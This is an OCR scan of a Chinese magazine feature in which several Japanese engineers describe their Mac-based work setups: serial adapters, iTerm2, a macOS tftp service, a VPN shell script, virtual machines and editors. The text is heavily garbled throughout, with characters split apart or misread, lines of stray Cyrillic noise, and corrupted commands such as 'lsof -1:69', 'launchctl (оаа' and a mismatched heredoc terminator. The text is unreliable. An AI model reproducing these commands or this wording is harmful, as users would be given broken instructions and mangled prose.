主板 不 坏 ， 应 该 还 能 继续 使 用 


必 不 可 少 的 装备 ,那么 可 以 
нын 
现在 用 的 还 是 从 Windows 的 
时 候 就 开始 使 用 的 Sigma APO 
URS232-2( RS232C to USB 转 
换 线 ) 制造 这 个 转换 线 的 公司 
在 2011 年 10 月 倒闭 了 ,所 以 
也 就 停产 了 。 这 种 USB -串口 
转换 线 虽 然 也 有 文 持 Mac 的 版 
本 ,但 是 标准 版 并 不 支持 Mac， 
需要 从 必 片 广 商 的 主页 下载 安 


轻 ， 携 带 方便 ， 所 以 才 被 众多 下去。 х Мас 221005965) © ABEE. 
网 络 工程 师 所 喜欢 。 m 安装 完毕 之 后 ， 需 要 在 控制 台 
我 自己 在 家 里 有 一 全 215 达 人 专用 利器 执行 下 面 的 命令 进行 设置 。 





英寸 jMac( Late 2009， 自 己 换 上 
了 SSD 山 )， 工 作 上 使 用 的 是 11 





串口 转换 线 


USB- 
要 说 网 络 工程 师 有 什么 


自己 替换 的 话 就 不 再 属于 苹果 的 质保 范围 之 内 了 。 
D 可 以 通过 Google 来 查 一 下 所 使 用 芯片 的 厂商 名 称 。md PL2303 MacOSX10.6up v1.5.0.zip (虽然 这 是 为 OS X 10.6 设 计 的 ， 但 


是 在 Mountain Lion 上 也 能 使 用 )。 


screen /dev/tty.usbserial 9600 


( ※ 波 特 率 为 9600 时 ) 


















шк! П а $ 
| ( 
i ! 
ч ма -i и „= Е ит E ЗЕ. һ 一 1 一 г" 一 
ть z p -一 一 ы Р 
рае к т=р= =т= == КЕР ч 
一 一 a 一 Se 


在 通过 screen 命令 连接 之 后 ， 
如 果 想 切断 会 话 ， 必 须要 执行 
[сїї+ (А), (С) + (А), 5501] Мас 2 


强制 重启 ， 这 一 点 要 注意 。 
最 常 使 用 的 








终 病 软件 和 tftp 





下 面 介绍 两 个 笔者 正在 使 
用 的 应 用 程序 。 


ДЕ iTerm2( 终端 软件 ) 


E IR OS X K r H A ii E 
件 也 能 使 用 标签 页 (tab ) 等 功 
能 ,但 是 我 觉得 标准 终端 软件 
在 保存 log 方 面 不 是 特别 令 人 满 
к, АТИ 328 Е Г 1Тегт2. TE 
OS X АЈДЕ, ЗН 
保存 log 的 话 只 有 两 种 方法 ， 要 
么 使 用 script 命 令 ， 要 么 就 是 将 
已 经 输出 到 窗口 的 内 容 直 接 保 
存 。 但 是 iTerm2 的 话 可 以 通过 
[She 由 一 [Log] 一 [Start 来 保存 
该 窗口 里 的 所 有 输出 。iTerm2 
特有 的 功能 就 是 在 生成 新 的 会 
话 的 时 候 ， 可 以 将 窗口 进行 水 
了 人 


У [51 


$ sudo lsof -1:69 


通过 命令 启动 的 例子 (启动 tftp 服 务 ) 


$ sudo launchctl (оаа -w /System/Library/LaunchDaemons/tftp.plist 


$ sudo lsof -1:69 


COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME 
launchd 1 root 62u IPv4 @xfb0/cea5da4fób3b 0+0 UDP *:tftp 
launchd 1 root бзи IPv6é @xfb0/cea5da4fócc3 010 UDP *:tftp 


У [#2 





通过 命令 启动 的 例子 (停止 tftp 服务 ) 


$ sudo launchctl unload /System/Library/LaunchDaemons/tftp.pList 


$ sudo lsof -1:69 


Bl ТЕГ. 
i 
ЖЕШ (tftp 服务 器 
在 进行 路 由 六、 交换 机 等 
OS 升级 的 时 候 ; 我 会 用 它 来 
传输 升级 的 文件 。Mac 虽 然 说 
目 带 了 tftp 服 务 和 项 ， 但 是 在 使 


用 的 时 候 需 要 在 终端 里 像 风 1 
和 图 2 那样 进行 复杂 的 操作 ， 
Ey 

而 安装 了 TftpServer 的 话 ， 
就 可 以 通过 GUI 来 对 tftp 服 务 器 
| 





АХ, УК, ВЧ Ж 
修改 path 环 境 变 量 ， 非 党 方便 。 


能 快速 上 手 的 Mac 





刚 开 始 使 用 Mac 进行 工作 
的 时 候 ， 由 于 和 Windw s 在 操 
作 体 验 上 有 较 大 的 差别 很 有 挫 
败 感 ， 但 是 开始 使 用 之 后 没 多 久 
就 习惯 了 ， 也 再 没什么 明显 感到 
使 用 起 来 不 顺手 的 地 方 。 我 想 
不 管 你 从 事 的 是 什么 行业 的 工作 ， 
Mac 都 很 适合 在 工作 中 使 用 。 











也 非常 襄 欢 用 在 没有 进行 窗 
口 分 割 的 时 候 ， 如 采 你 想 查 看 
其 他 会 话 ， 需要 切换 窗口 或 者 
me 
们 可 以 在 一 个 窗口 里 同时 查看 、 
对 比 多 个 会 话 的 内 容 , 非常 方便 。 
男 一 个 我 经 常 使 用 的 功能 
是 它 的 透明 背景 功能 ， 系 统 默 
认 的 终端 软件 也 有 这 个 功能 。 
这 个 功能 在 MacBook Air 这 样 
屏 舌 较 小 的 ш б Ишт 
的 ， 比 如 一 边 看 着 操作 流程 一 操作。 详细 内 容 请 参考 
边 获 打 键 盘 等 的 时 候 ， 并 不 需 ”正文 
要 切换 窗口 ， 直 接 透 过 iTerm2 


сїйгта-АРО 0В5232-2 (R5232C їо USE 
转换 线 ) 由 于 生产 商 倒闭 ， 在 市 面 上 
已 经 买 不 到 了 。 不 过 网 络 工 程 师 却 
经 常 使 用 这 种 线 。Mac 上 也 能 使 用 这 
种 线 ， 不 过 需要 自己 安装 驱动 











我 把 常用 的 iTerm2 设置 
为 了 于 透明 的 风格 ， 这 
样 就 可 以 一 边 查 看 参考 
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Ж Еа 
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{ 


TA 
使 用 Mac < 进行 Web 
应 用 开发 的 那些 事 


МЕР} zu 






жеры. Сш 
的 果 面 是 怎样 的 


个 人 信息 


菊地 清高 ( KIKUCHI Kiyotaka ) 
sakura internet inc.( 樱 花 网 络 ) 新 事业 部 
8 年 左右 

个 人 作为 工程 师 
工作 以 前 就 开始 使 用 了 ， 到 现在 
应 该 有 15 年 了 

iMac( Rev.B )~PowerMac 
G4~Macbook Pro ( Retina 15inch ) 


1978 年 出 生 。 在 PC-98 时 代 
接触 到 BASIC， 之 后 便 开 始 对 
编程 感 兴 趣 。 最 近 主 要 负责 樱 
花 网 络 云 服务 的 计 费 服务 工作 ， 
也 做 一 些 和 本 职工 作 没 有 直接 
关系 的 项 目 企 划 、 开 发 。 目 前 
和 两 只 猫 一 起 生活 。 









笔者 的 桌面 周边 。 将 MacBook Air 接 到 外 部 显示 器 上 ， 
示 的 是 正在 校对 的 本 稿 


通过 大 屏幕 进行 工作 。 画 面 里 显 





用 代码 清单 1 通过 VPN 连接 到 
公司 的 网 络 。 为 了 更 方便 地 使 
用 这 个 脚本 ， 最 好 将 网 络 名 设 


工作 ( + 在 家 ) 常 用 的 
软件 及 配置 


5| F 





























大 家 好 ， 我 是 樱花 网 络 的 ДЕ ИМХ 命令 置 为 英文 字母 或 数字 的 组 合 ， 
菊地 。 目 前 在 公司 从 事 Iaag 服 因为 在 控制 台 里 输入 这 些 字 符 
务 “sakura cloud” E МЕЕ А, Ф067 ОН. 
主要 涉及 收费 、 结 算 系 统 ， 以 ”常用 的 UN 到 命令 非常 重要 。 系 + Са РЕСЕ: 

及 用 户 管理 等 后 台 系统 。 统 默认 没有 安装 的 软件 ， 我 都 使 Ш =н: 
要 使 用 的 开发 语言 是 Java, H M Homebrew K KR. MEREK 如 果 对 自己 的 英语 发 首 没 有 
是 如 果 需 要 和 其 他 系统 进行 交 。 也 非常 简单 ， 可 以 说 Homebrew ”自信 ， 可 以 使 用 say 命 令 来 确认 。 


互 的话 , 也 会 根据 情况 使 用 “是 一 个 非常 有 用 的 软件 。 
PHP 或 Perl 等 。 平时 在 公司 工 ;组合 使 用 AppleScript 
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作 的 时 候 差 不 多 一 整 天 都 是 在 
编码 中 度 过 的 ， 而 其 中 大 部 分 
的 开发 都 是 在 Mac 下 进行 的 。 





和 Shell Script 的 技巧 
在 家 的 时 候 ， 如 采 公 司 出 
现 紧急 问题 需要 解决 ,我 会 使 





ДЕ Mission Contro| 


其 实 这 算 不 上 是 一 个 软件 ， 





甩 代 码 清单 1 


vpnc.sh“ 网络 名 ” 


#!/bin/sh 
VPNLogin() { 

#15 AppleScript 
/usr/bin/osascript<< _EOF_ 
tell application "System Events" 


tell current location of network preferences 


set VPNservice to service "$1" 


if exists VPNservice then connect VPNservice 


end tell 
end tell 
_EFEOF 
} 
VPNLogin "$1" 


等 待 连接 成 功 
sleep 10 


设置 网 天 


addr=$(ifconfig ppp0 | awk '/1пеї / { print $2; }°) 


sudo route add 172.16.0.0/12 "$addr" 





ЖЕ CN 3 (Сш) +) 
2). ЖТА ж АЧ 0), 
一 般 情况 下 ， 在 一 个 虚拟 果 面 
里 将 一 个 应 用 程序 最 大 化 ， 即 
可 通过 (С) +) С) В л А е 
序 之 间 的 切换 。 








О 将 特定 窗口 显示 在 所 有 的 昌 
面 上 
如 果 你 想 在 每 个 虚拟 时 面 
上 都 显示 某 个 应 用 窗口 的 话 ， 
可 以 这 样 来 设置 在 Dock 的 目 
标 对 象 图 标 上 选择 [选项 ] 一 [分 
配给 ] 一 [所 有 果 面 ]。 








О 关闭 动画 效果 

最 开始 的 时 候 我 还 党 得 动 
画 效 末 挺 好 的 ， 不 过 后 来 发 现 
它 会 导致 系统 变 慢 ， 就 关闭 了 
动画 功能 。 现 在 只 有 Mission 
Control 和 Application Window 
在 进行 果 面 切换 的 时 候 还 保留 
痢 动 画 效 果 。 在 控制 台 上 输入 
СТАТ 5 о 










defaults write сот. арр(е.доск 
expose-animation-duration -float 
0 &&killall Dock 


ЖИТ 


通过 GeetTool 显 示 系 统 


言 轧 的 样子 。 图 中 显示 { 


的 是 : 通过 df 命令 输出 





Term2。 里 然 本 文中 
ы ААА №, {В тих 
也 是 我 非常 喜欢 使 用 
的 一 个 软件 。 我 用 的 
也 是 默认 设置 


的 磁盘 的 使 用 情况 ( 左 ОИ 


E). 内 存 和 CPU 的 使 ССНИ 
Віл (2). а ОИТ 


(АР) 


Е ~ 


Ш 1 5 S Java |\ 1 i 
и, ЖЖ Е 620 Н Мо, 
Vim 的 魅力 在 于 通过 为 数 不 多 
的 控制 键 就 能 完成 很 多 操作 。 
编写 Java 代 人 码 时 我 使 用 的 则 是 
IntelliJ IDEA» 


ДЕ iChat 


和 远程 数据 中 心 的 同事 等 
进行 交流 主要 使 用 XMPP 消 息 
(Е 


ДЕ GeekTool 


11 英寸 的 MacBook Air #6 
人/ 
作 时 我 都 会 使 用 外 接 显 示 带 。 
MBA 的 显示 带 则 被 用 来 通过 
GeekTool 显 示 内 存 使 用 量 ， 以 














及 新 邮件 的 通知 等 。 
& ‚ КеуКетар4 
і MacBook 


ТЕ Windows E HJ $ Н 
/英文 和 数字 的 时 候 使 用 的 是 
АК) + 22] 88 28 S, Мас F M) Æ 
(Command)+ (space) 的 组 合 。 在 交叉 








使 用 Windows 和 Mac 的 时 候 ， 
有 时 会 产生 混乱 ;所 以 我 就 将 
Mac/ Windows [092 а. 27 ft НЕ 
键 来 切换 了 。 设 置 方法 如 下 。 

Ке ране сате 








Backquote( ) Key] 一 [Backquote( ) 
to KANA/EISUU (toggle)] 


Mac 的 不 便 之 处 





当 遇 到 只 能 在 Internet Explorer 
上 才能 运行 的 网 站 时 会 比较 麻 
у. Ее О # р 1 
到 必须 使 用 Windw s 系 统 的 
情况 , 这 种 情况 下 我 会 通过 
remote d sk ор 登录 进 Windw s 


系统 ， 并 在 上 面 进 行 操作 。 


+ 
а 结 


[ТЪЛ 








上 面 我 将 自己 使 用 Mac 的 
一 些 感想 简单 地 总 结 了 一 下 。 
Sl Трае 
发 环境 中 的 很 多 东西 也 都 能 在 
Windows 中 实现 。 不 过 Mac 的 
魅力 就 在 于 , 你 不 需要 太 费 力气 ， 
就 能 创建 一 个 完美 的 开发 环境 。 
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Ж а Мас HRE 
的 果 面 是 怎样 的 
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ы! 


| 全 屏 运 行 应 用 程序 。 工 作 时 会 局 动 多 个 虚拟 环境 ， 


Mac 正 在 被 越 来 越 多 地 


用 于 企业 级 应 用 的 开发 


在 Web 应 用 开发 和 iOS 
应 用 开发 中 , 工程 师 使 用 





F 


O 基于 MacBook 的 













次 世代 开 妈 风格 


$ ХА 


一 一 最 强 的 多 OS ИЯ 


个 人 信息 


АКН ( GOTO Daichi ) 

BSD Consulting 股 份 有 限 公 司 董 事 /ONGS 
Inc. 股份 有 限 公司 总 经 理 /FreeBSD committer 
10 年 以 上 

SEME 

MacBookAir( 13inchMid2012 ) 


工作 内 容 丰 富 多 样 ， 从 企业 级 应 用 的 
设计 、 开 发 、 运 营 、 维 护 ， 到 IT 相 关 
的 新 闻 、 杂 志文 章 、 书 籍 的 撰写 等 均 
有 所 涉及 ， 还 包括 基于 FreeBSD/Linux 
的 从 内 核定 制 到 发 行 版 本 构建 、 自 动 
部 署 、 网 络 建设 等 工作 。 在 BSD 咨询 
方面 ， 能 灵活 地 应 对 企业 对 FreeBSD 


的 各 种 要 求 。 


经 常 同时 使 用 多 个 05 





为 什么 使 用 MacBook? 


首先 MacBook 基 本 上 具备 了 
你 需要 的 所 有 东西 。 在 Windows 





MacBook 的 情况 非常 多 ,而 
最 近 在 企业 级 应 用 开发 的 现场 
也 经 常 能 见 到 使 用 MacBook 
Ai 的 工程 师 了 。FreeBSD 的 
工程 师 中 也 有 很 多 早 在 儿 年 前 
就 开始 使 用 MacBook Pro 或 
MacBook Air 了 。 造 成 这 种 情 
况 的 原因 有 很 多 ， 这 里 我 将 针 
Част, UREN 
工程 师 如 何 使 用 Mac Book iH 
ТОРДЫ ДЫ ДЕ 

















下 要 想 配 置 UNIX 环 境 的 话 ， 
需要 不 少 的 安装 、 配 置 工作 。 
н Масы Xe SR 
FreeBSD 的 user land( 内 核 以 外 
部 分 -及 以 你 九 乎 就 可 以 把 
它 当 作 一 台 UNIX 机 器 来 使 用 。 
这 也 是 喜欢 UNIX 的 工程 师 也 
喜欢 使 用 MacBook 的 原因 。 

如 果 是 台式 机 的 话 ， 可 以 
使 用 Ubuntu 或 FreeBSD 来 进 
175, Я 2С ЯХ Н АЙ 
的 话 ，Ubuntu 或 FreeBSD 就 








A 
Нс 2:040 | сд 
Linux/FreeBSD 系统 , 不 仅 体 
眠 (Suspend)/ IA Ж ( Resume ) 
功能 恨 好 ， 而 且 又 省 电 ， 还 能 
发 挥 GPU 的 性 能 ， 那 么 难度 将 
比较 大 。 而 如 果 使 用 MacBook 
的 话 ， 则 很 容易 就 能 做 到 了 。 


(8 МасВоокёЈ 





工程 师 的 开发 习惯 





我 在 使 用 MacBook 进行 开发 
的 时 候 ， 会 使 用 Parallels Desktop 
for Mac 或 者 VMware Fusion 等 





虚拟 环境 ， 同 时 运行 右 干 个 OS。 
不 仅 我 目 己 这 样 ， 其 他 的 工程 
师 也 大 都 这 样 。 





у © ъз 
[| | Д | @ 基于 aceook 的 次 世代 开发 风格 
二 = | тр Ts 





TO 








这 里 我 们 以 企业 应 用 程序 
开发 为 例 进行 说 明 。 比 如 ,很 
多 时 候 我 们 会 在 服务 硕 端 的 OS 
使 用 Red Hat Enterprise Linux 
(RHEL), И 及 Oracle Н) Ф [Н] 
件 和 数据 库 产品 ， 存 储 设备 使 
用 Windows Server, 报表 输出 
使 用 File Maker， 前 端 服务 需 使 
用 FreeBSD+nginx 。 在 这 种 情 








开发 工作 。 我 本 人 也 是 这 
A DN 
理 一 些 服 务 融 ， 现 在 不 管 
在 世界 上 的 哪 一 个 角落 ， 
基本 上 者 能 访问 所 需要 的 
开发 资源 。 只 要 熟练 掌握 
了 ssh(1) 的 使 用 方法 ， 就 
能 从 各 种 各 样 的 网 络 环境 
连接 到 目 己 的 环境 进行 





况 下 ， 我们 可 以 使 用 虚拟 机 来 
创 Æ WindowsServer, RHEL, 
FreeBSD у 4o 44A OS E 
拟 机 都 可 以 以 全 屏 的 方式 运行 ， 
必要 时 只 需要 在 触摸 板 上 通过 3 
个 手指 滑动 束 可 以 切换 OS 虚拟 
机 了 。 切换 到 Windows Server 后 ， 
MacBook 看 上 去 就 像 是 一 人 台 普 
通 的 Windows 笔 记 本 电脑 。 在 
MacBook 上 配置 和 生成 环境 相 
近 的 开发 环境 ， 还 能 提高 生产 
环境 的 部 署 效 率 。 

由 于 每 种 虚拟 环境 都 能 
很 好 地 王 作 一 所 以 我 们 在 安装 
应 用 程序 的 时 候 不 需要 拘泥 于 
某 一 种 0S。 比 如 在 FreeBSD 
上 安装 配置 Apache HTTPd 
Server JE% 71E, MARTI 
ТЕ FreeBSD 上 来 安装 Apache; 
PDF 编辑 硕 在 Windows 上 运行 
最 正常 ， 那 么 就 选择 Windows; 
Oracle 数据 库 在 RHEL 上 安装 
最 容易 , 那么 就 选择 RHEL。 
总 之 就 是 要 根据 实际 情况 , 选 
择 最 合适 的 于 其 3 

















充分 利用 ssh(1) 


随时 随地 进行 开 妇 

使 用 MacBook 进行 开发 的 
工程 师 更 倾 问 于 抱 着 电脑 到 处 
移动 ， 在 各 种 不 同 的 场所 进行 








Шы 

编辑 器 对 开发 者 来 
膏 非常 重要 。 我 使 用 的 
是 Vim 或 Emacs 这 种 能 够 
在 终端 下 运行 的 多 功能 
编辑 需 软 件 。 必要 的 时 候 ， 
我 还 会 自己 编写 插件 或 
40 6. ЖААЖ 7 
н йт АК ЫН) 2) ВЕ. й 
т И, (НЭР 
泥 于 使 用 控制 台 进 行 开发 ， 如 
条 需要 IDE 的 话 ， 我 会 局 动 虚 
拟 机 环境 在 Windows 下 安装 开 
ROSS 
的 话 则 使 用 Xcode 进行 。 


将 硬件 升级 为 最 高 配置 


由 于 我 在 工作 中 经 常 需 
要 使 用 虚拟 环境 进行 各 种 构 
建 ( 编 详 ) 工作， 所 以 将 自己 的 
MacBook 的 配置 升级 成 为 了 最 
高 配置 。 这 样 尽 管 会 增加 一 些 
成 本 , 但 是 从 开发 的 角度 来 说 ， 
其 回报 还 是 非常 值得 的 。 如 果 
只 是 Web 应 用 的 前 端 ( Edge) 
开发 这 种 比较 轻 量 级 的 部 分 的 
пт, 标准 配置 的 MacBook 即 可 
胜任 。 

ÁX r CPU, NÝ. SSD 
全 部 为 最 高 配置 的 机 器 后 ， 开 














平时 使 用 的 MacBook Air 的 桌面 。 基本 上 
什么 都 没有 放 





我 的 开发 工作 主要 通过 ssh(1) 登录 后 用 
vim(1) 进 行 。 这 样 束 可 以 在 世界 的 任何 地 
ОЛДЫ А: 


发 方面 基本 上 不 会 有 任何 压力 
了 。 月 本 的 工程 师 和 国外 的 工 
程 师 有 所 不 同 ， 国 外 的 工程 师 
更 重视 机 融 的 配置 ， 所 以 多 选 
择 MacBook Pro; 而 日 本 的 工 
程 师 则 更 重视 便携 性 ， 所 以 多 
选择 MacBook Air。 

本 文中 介绍 的 开发 环境 在 
Windows 上 同样 也 能 实现 , 但 
是 那样 的 话 有 时 候 将 面临 不 得 
不 创建 MacOSX 虚 拟 环境 以 
及 进行 iOS 应 用 开发 等 各 种 问 
题 。 所 以 像 现在 这 样 以 Mac OS 
X 为 主要 开发 环境 ， 也 是 三 个 
A 











87 













|” Mac， 软件 工程 师 的 不 二 之 选 ? \ 





Ж а Мас HRE 
的 果 面 是 怎样 的 


Android/iOS 
WIAR 


12 / АША, 





个 人 信息 


3111 ( EGAWA Takashi ) 

Smartium 股份 有 限 公司 

开发 经 验 有 有 Dh: 

Мас 使 用 经 验 Ж ЕЕ Е-&-—-Бе л 

15 英 寸 Retina 屏 MacBook Pro 
(CPU:2.7GHz 4 核 Intel Core 17/ 
Memory:16GB ) 


坚持 创新 的 移动 应 用 程序 开发 工程 师 。 
本 职工 作 有 90% 都 和 Android 相关 。 著 
有 《Google Android RANNE, 
ASCII MEDIA WORKS 出 版 ) 等 。 同 
时 也 是 Google АРІ Expert( Android ) 
с =й 





ыл. ташы ТА О РЕТ eT с тыз лы= 
‚ 图 中 是 用 来 运行 文本 编辑 器 程序 的 一 个 桌面 。 根 据 工作 内 容 的 不 同 ， 我 会 创建 若 
干 个 虚拟 桌面 。 从 左面 开始 分 别 是 : 使 用 浏览 器 进行 技术 调查 和 | 阅读 文档 的 窗口 、 
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文本 编辑 器 ( Sublime Text 入 开发 环境 、 控 制 侣 终端、 交流 /团队 协作 工具 





Mac 的 魅力 





对 于 移动 应 用 开发 者 的 我 


K, Mac 的 魅力 有 以 下 3 点 。 
рсе. 长 时 间 
ЖЕШ 使 用 也 不 会 感到 疲劳 
我 本 人 觉得 Mac 使 用 起 
来 非常 舒服 。 在 编 但 的 时 候 我 
几乎 只 使 用 键盘 ， 编 码 以 外 的 
时 间 比 较 充 裕 , 每 天 都 会 使 
Н Mac 进行 各 种 各 样 的 工作 。 
Mac 那 经 过 精心 雕琢 的 UX 会 
给 人 市 来 一 种 安心 感 ， 其 统一 
且 舒 适 的 操作 体验 ， 都 会 减轻 
КОЕ Т Л УЛ 16 











它 做 什么 工作 ， 时 间 再 长 都 很 
WERA Ro FFI Mac Book 
这 样 的 笔记 本 ， 不 想 用 的 时 候 
直接 把 屏幕 合 上 即 可 ,使 用 的 
时 候 再 把 屏 锅 打开 就 行 了 ， 丝 
© Дх Ж ИА ШИВ [Ө] АЙ „ 
它 的 虚拟 更 面 环境 也 非常 
出 色 ， 根 据 用 途 的 不 同 ， 我 会 
创建 不 同 的 人 桌面 。 由 于 可 以 通 
过 快捷 键 下 接 打 开 想 要 的 黎 
O, MARRA ГААН ж 
而 不 得 不 费力 去 挨个 查找 的 烦 
恼 。 像 这 样 的 功能 单个 看 起 来 
好 像 并 没有 那么 大 的 过 人 之 处 ， 

















但 正 是 因为 对 每 个 这 样 的 小 功 
能 都 精心 设计 ， 才 造就 了 今天 


Mac 所 具备 的 良好 的 用 户 体验 。 
如 有 果 每 天 必需 要 长 时 间 使 用 电 
脑 的 话 ， 我 肯定 会 使 用 Mac 的 。 


开发 环境 的 不 二 之 先 


对 移动 应 用 开发 人 员 来 说 ， 
к ЕН E ДЛ 
是 开发 Windows Phone 应 用 等 
特殊 情况 ,我 都 会 目 然 而 然 地 
选择 使 用 Mac。iOS 自 不 必 说 ， 
即使 是 Android 也 可 以 非常 轻 
松 地 进行 手机 和 电脑 的 连接 ， 
Л ЫШ ЕЕ 
Mach А н ШЕ 
他 机 硕 上 开发 有 更 好 的 稳定 性 。 















“同时 使 用 CUI 和 
GUI 环境 

对 开发 工程 师 来 说 ,能 
同时 使 用 简单 吻 用 的 GUI 和 
bash、zsh 等 Shell 工具 这 一 点 
也 非常 有 魅力 。 几 于 Mac 是 基 
于 BSD UNIX 的 ， 所 以 可 以 方 
便 地 使 用 、 编 译 UNIX 上 的 开 
源 软件 二 从 这 点 来 说 ， 我 们 的 
Mac 既 满足 了 进行 开发 的 必要 
216, ANNEE RIESI 
便 的 开发 机 器 。 








和 其 他 电脑 分 开 使 用 


除了 Mac 之 外 , 我 还 在 
使 用 其 他 的 OS。 比 如 我 会 在 
Windows 下 用 Visual Studio 开 
发 .NET 的 应 用 程序 ， 以 及 使 用 
弥生 会 计 这 类 只 能 在 Windows 
下 使 用 的 软件 。Linux 则 主 
要 被 用 来 编译 Android 或 者 
Firefox OSs 等 平台 系统 以太 
进行 耗 时 较 长 的 计算 处 理 。 之 
前 我 曾经 使 用 过 VMware 等 虚 
拟 机 软件 来 使 用 其 他 OS， 但 是 
局 来 慢 慢 地 就 不 再 使 用 了 。 放 
弃 VMware 的 最 大 原因 就 是 我 
觉得 为 了 完成 某 项 任务 还 是 准 











( 














10 оға 


Ессе 


1 НАЈК БИ, 7. 
其 是 我 还 准备 了 多 内 核 、 大 内 
存 的 Linux 专 用 机 各 。 如 有 果 是 
I 临 时 需要 使 用 某 OS， 我 也 会 使 
H Amazon 的 EC2。 








编辑 器 和 1DE 





为 开发 Android 应 用 的 
情况 较 多 ， 所 以 IDE 一 般 使 用 
Eclipse ， 编 辑 器 则 主要 使 用 
Sublime Text。 强 类 型 语言 可 以 
使 用 Eclipse 的 语法 提示 功能 ， 
非常 方便 。 由 于 Eclipse 需要 的 
IO 操作 较 多 ， 所 以 放 到 相对 
比较 快速 的 SSD 盘 比较 好 ， 不 
过 Mac Book Pro 的 话 完全 能 够 
解决 这 个 问题 。 

НМЕ .JavaSerinie 
Erlang、Ruby、Shell Script 等 非 
强 类 型 语言 的 话 ， 使 用 Sublime 
Text Wi Æ t Г. Sublime Техі 
Н AMER А E 
Н) ЛЭШ УШ ЕЖЕ 2н УЕ 
行 定 制 。 由 于 能 够 根据 具体 的 














使 用 目的 来 定制 目 己 的 开发 环 
境 或 者 外 观 ， 因 此 对 所 有 的 软 
件 工程 师 来 说 都 很 有 吸引 力 。 
Sublime Text 软 件 本 身 是 收费 的 ， 


“Жы ч ай; 
А2, = 


应 用 开发 必 


但 是 可 以 免费 试用 。 推 荐 大 家 
都 来 尝试 一 下 这 个 编辑 器 山 。 





作为 移动 应 用 程序 开发 者 
之 一 ”最 后 再 给 大 家 介绍 一 下 
最 近 比 较 着 迷 的 两 个 外 设 产品 中 。 


О INNOCUBE 

支持 MHL、HDMI 接 口 
的 小 型 投影 仪 。 由 于 可 以 方便 
地 连接 到 Android 或 者 iPhoney/ 
iPad 守 ,非常 适合 用 来 做 移动 
Лу НАК, ер 
ж. БАЛЗАМ, 
EER, ЧЕН o 


О Livescribe 

DE l 
的 组 合 设备 一 它 除 于 能 记录 和 
写 的 内 容 之 外 ， 还 能 同时 记录 
当时 周围 的 声音 ,并 能 通过 
Wi-Fi 保 存 到 Evernote。 工 作 中 
我 会 经 和 津 通 过 网 络 和 远程 的 同 
ОЛ ЛЛК ОНТ: Мас 
Н АШ ЖН), ШШ 
能 将 清晰 的 声音 和 手写 的 备注 
内 容 一 同 保存 到 云端 了 。 








将 INNOCUBE 和 Android 连接 起 来 的 样子 


GD Sublime Text 2 的 cheat sheet http:/www.gsmproductions.com/misc/sublime.html 
(2) Livescribe 最 近 在 中 国 也 都 有 了 销售 渠道 ， INNOCUBE 还 没有 正式 进入 中 国 市 场 。 


Livescribe 使 用 过 度 ， 


显得 有 点 脏 了 
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"Mac, пета Z? _ 


A ЕТШ с = 和 
а 


=: 怎么 编码 都 不 会 
感到 累 的 电脑 


“看 看 Mac 开 发 者 
13 / ХІД, 





NA 


的 时 面 是 怎样 的 


个 人 信息 


森 拓 也 ( MORI Takuya ) 
Ubiquitous Entertainment Inc. 软件 
工程 师 

7 年 

3 年 

Мастіпі, MacBook Pro 


1987 年 出 生 。 籍贯 石川 县 。 
2011 年 11 月 加 入 Ubiquitous 
Entertainment Inc.， 主 要 从 事 
iOS 应 用 程序 开发 工作 。 尤 其 
擅长 使 用 AR、 图 像 处 理 等 技 
术 进 行 应 用 开发 。 


А) 


eE 


t: 
k 


笔者 的 桌面 。 多 数 情况 都 是 在 这 里 使 用 Mac mini 进 行 开发 。 需 要 
Мас Book Pro 进行 工作 。 笔 者 大 爱 的 HHKB 键盘 ， 


离开 座位 时 ， 使 用 
是 周刊 ASCIl PLUS 1 周年 纪念 时 制 


Mac 的 魅力 所 在 


ДЕ. Мас OS X 的 魅力 





对 我 来 说 ,评论 一 
好 坏 最 重要 的 标准 是 用 起 来 是 
不 是 顺手 ， 而 UI 和 反应 速度 就 
是 两 个 很 重要 的 指标 。 不 管 操 
作 系 统 的 功能 有 多 丰富 ， 但 是 
如 果 UI 使 用 起 来 很 不 顺手 ， 反 
应 速度 也 很 慢 ， 那 么 用 户 将 会 
倍 受 折磨 ， 并 最 终 放 弃 使 用 。 
iOS 和 Mac OSX 的 UI 不 仅 使 











台电 脑 








用 起 来 很 容易 ， 仔 细 观 察 的 话 
还 会 发 现 很 多 小 地 方 的 动画 也 
都 做 得 很 用 心 ， 让 它 的 使 用 者 
感到 非常 享受 。 而 且 各 个 应 用 





程序 的 UI 都 保持 着 统一 的 风格 ， 
使 用 起 来 非常 方便 。 
另 -处 一 在 ;9S 开 发 中 无 癌 


间 开 始 使 用 的 QuickLook 和 
Spotlight 也 都 是 非常 方便 的 工 
具 。QuickLook 可 以 在 不 通过 
2 НЕКИЕ К, a 
速 确 认 资 源 文件 或 文档 的 内 容 ， 
对 工作 有 很 大 帮助 。Spotlight 
可 以 在 凌乱 不 堪 的 桌面 或 者 下 





т. 作 的 黑色 刻印 版 шшш 


载 文件 夹 里 迅速 找到 想 要 的 文 
件 。 这 两 个 工具 的 优点 就 是 速 
度 非 第 快 。 如 果 需 要 尽快 回 到 
编码 工作 的 话 ， 那 么 这 种 反应 
速度 就 显得 尤为 重要 了 。 


ДЕ MacBook Pro 的 风力 


MacBook Pro 作 为 笔记 本 
ЖТТ ВЕЕ. AE a 
Е |а ГЕ 台式 机 的 话 有 时 
候 我 还 会 使 用 Windows 系 统 
НЧ, (Ех 3 іс ДЕЕР НО Е РА 
在 就 只 使 用 MacBook Pro Ѓ. 











MacBook Pro 的 优点 有 很 多 ， 





比如 轻 量 、 发 热 少 等 , 但 是 对 
我 来 说 最 大 的 魅力 还 是 它 的 
1, 

平时 在 使 用 合式 机 的 时 
候 , 我 会 用 Mac mini + Happy 
Hacking Keyboard Pro2 (Ол Жїн] 
称 HHKB )， 但 要 使 用 HHKB， 
键盘 布局 必须 为 US 方式 。 不 
过 在 购买 MacBook Pro 的 时 候 
可 以 选择 JIS 布局 或 者 US 布局， 
这 一 点 非常 方便 a MacBook Pro 
的 按键 基于 受 电驴 ( Pantograph ) 
结构 ， 相 EE MacBook Air 按 键 





( Keystroke ) КЛ 2: К — IE, fk 
下 去 后 反弹 强度 也 强 一 些 。 按 键 


中 心间 距 (Key Pitch ) X 19mm, 
而 且 键 帽 很 稳 , 没有 松动 感 
从 HHKB 切换 时 也 很 顺手 。 有 
时 候 键 盘 不 同 可 能 会 让 用 户 用 
起 来 不 舒服 ,但 是 我 在 使 用 
MacBook Pro 的 时 候 则 完全 没 
有 感到 任何 砍 烦 ， 很 容易 就 适 
ШЕЕ 





天 于 编辑 器 和 1DE 





